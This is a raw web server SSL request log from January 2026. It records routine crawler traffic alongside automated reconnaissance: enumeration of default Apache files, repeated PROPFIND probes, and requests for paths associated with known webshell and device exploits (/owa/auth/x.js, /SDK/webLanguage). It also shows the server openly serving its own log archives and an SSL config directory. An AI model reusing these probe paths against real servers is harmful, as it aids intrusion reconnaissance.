[10/Jan/2026:03:24:59 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[10/Jan/2026:03:25:07 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "\n" 226
[10/Jan/2026:03:25:08 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "\n" 226
[10/Jan/2026:03:25:09 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "\n" 226
[10/Jan/2026:03:25:15 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[10/Jan/2026:03:25:19 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sitemap.xml HTTP/1.1" 196
[10/Jan/2026:03:25:21 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/security.txt HTTP/1.1" 196
[10/Jan/2026:03:25:23 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[10/Jan/2026:03:25:27 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD /ABOUT_APACHE.txt HTTP/1.1" -
[10/Jan/2026:03:25:28 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD /CHANGES.txt HTTP/1.1" -
[10/Jan/2026:03:25:30 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD /INSTALL.txt HTTP/1.1" -
[10/Jan/2026:03:25:31 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD /LICENSE.txt HTTP/1.1" -
[10/Jan/2026:03:25:33 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD /NOTICE.txt HTTP/1.1" -
[10/Jan/2026:03:25:34 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD /bin/ HTTP/1.1" -
[10/Jan/2026:03:25:36 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD /conf/ HTTP/1.1" -
[10/Jan/2026:03:25:40 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD /error/ HTTP/1.1" -
[10/Jan/2026:03:25:42 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD /htdocs/ HTTP/1.1" -
[10/Jan/2026:03:25:43 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD /include/ HTTP/1.1" -
[10/Jan/2026:03:25:44 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD /lib/ HTTP/1.1" -
[10/Jan/2026:03:25:46 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD /logs/ HTTP/1.1" -
[10/Jan/2026:03:25:47 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD /manual/ HTTP/1.1" -
[10/Jan/2026:03:25:55 +0800] 86.54.31.38 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD /modules/ HTTP/1.1" -
[10/Jan/2026:03:25:58 +0800] 193.142.147.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[10/Jan/2026:03:30:23 +0800] 154.70.82.114 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[10/Jan/2026:03:30:24 +0800] 154.70.82.114 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[10/Jan/2026:03:33:12 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[10/Jan/2026:03:58:57 +0800] 80.82.70.133 - - "GET / HTTP/1.0" 362
[10/Jan/2026:04:00:20 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[10/Jan/2026:04:07:38 +0800] 52.167.144.215 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sitemap.txt HTTP/1.1" 196
[10/Jan/2026:04:10:54 +0800] 193.142.147.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[10/Jan/2026:04:14:06 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[10/Jan/2026:04:21:08 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[10/Jan/2026:04:28:54 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[10/Jan/2026:04:35:40 +0800] 147.185.132.51 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[10/Jan/2026:04:42:32 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[10/Jan/2026:04:56:06 +0800] 47.128.31.112 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_ssl_request_log.20260105 HTTP/1.1" 10908233
[10/Jan/2026:04:56:31 +0800] 47.128.29.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[10/Jan/2026:04:57:01 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[10/Jan/2026:05:00:12 +0800] 185.242.226.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[10/Jan/2026:05:02:19 +0800] 104.210.140.129 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[10/Jan/2026:05:05:03 +0800] 40.77.167.61 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20251017 HTTP/1.1" 9471757
[10/Jan/2026:05:23:26 +0800] 52.167.144.147 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_ssl_request_log.20250831 HTTP/1.1" 197859
[10/Jan/2026:05:23:43 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[10/Jan/2026:05:42:15 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[10/Jan/2026:05:45:31 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[10/Jan/2026:05:58:17 +0800] 40.77.167.77 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/login.html HTTP/1.1" 299
[10/Jan/2026:06:03:20 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[10/Jan/2026:06:08:19 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[10/Jan/2026:06:10:22 +0800] 47.128.115.107 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_ssl_request_log.20260106 HTTP/1.1" 11264662
[10/Jan/2026:07:10:23 +0800] 47.128.110.178 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_ssl_request_log.20260107 HTTP/1.1" 12188011
[10/Jan/2026:07:10:23 +0800] 47.128.37.34 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20260105 HTTP/1.1" 9545265
[10/Jan/2026:07:24:22 +0800] 89.42.231.200 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SDK/webLanguage HTTP/1.1" 196
[10/Jan/2026:07:25:38 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[10/Jan/2026:07:32:49 +0800] 103.51.52.248 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/?C=N;O=A HTTP/1.1" 1538
[10/Jan/2026:07:36:51 +0800] 110.249.201.105 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[10/Jan/2026:07:38:17 +0800] 100.30.5.6 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[10/Jan/2026:07:39:48 +0800] 20.168.0.218 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /owa/auth/x.js HTTP/1.1" 196
[10/Jan/2026:07:54:17 +0800] 74.7.241.179 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[10/Jan/2026:07:59:13 +0800] 193.142.147.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[10/Jan/2026:07:59:38 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225